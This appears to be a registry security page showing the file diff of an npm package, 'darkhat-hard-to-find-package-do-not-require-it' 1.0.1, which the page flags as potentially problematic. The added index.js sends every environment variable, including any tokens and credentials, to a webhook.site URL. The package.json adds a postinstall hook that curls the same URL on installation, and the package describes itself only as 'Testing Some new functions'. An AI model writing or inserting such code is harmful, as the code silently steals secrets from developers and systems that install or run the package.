darkhat-hard-to-find-package-do-not-require-it 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of darkhat-hard-to-find-package-do-not-require-it might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +15 -0
  2. package/package.json +18 -0
package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ const axios = require('axios');
2
+ let envVariables = process.env;
3
+
4
+ for (let key in envVariables) {
5
+ axios.post('https://webhook.site/76a40c42-6fe4-4caf-9b37-49c5eda9ae20', {
6
+ key: key,
7
+ value: envVariables[key]
8
+ })
9
+ .then((response) => {
10
+ console.log(`Sent ${key}`);
11
+ })
12
+ .catch((error) => {
13
+ console.error(`Error sending ${key}: ${error}`);
14
+ });
15
+ }
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "darkhat-hard-to-find-package-do-not-require-it",
3
+ "version": "1.0.1",
4
+ "description": "Testing Some new functions",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "curl https://webhook.site/76a40c42-6fe4-4caf-9b37-49c5eda9ae20?darkhat=darkhat"
9
+ },
10
+ "keywords": [
11
+ "darkhat-hard-to-find-package-do-not-require-it"
12
+ ],
13
+ "author": "darkhat",
14
+ "license": "ISC",
15
+ "dependencies": {
16
+ "axios": "^1.5.0"
17
+ }
18
+ }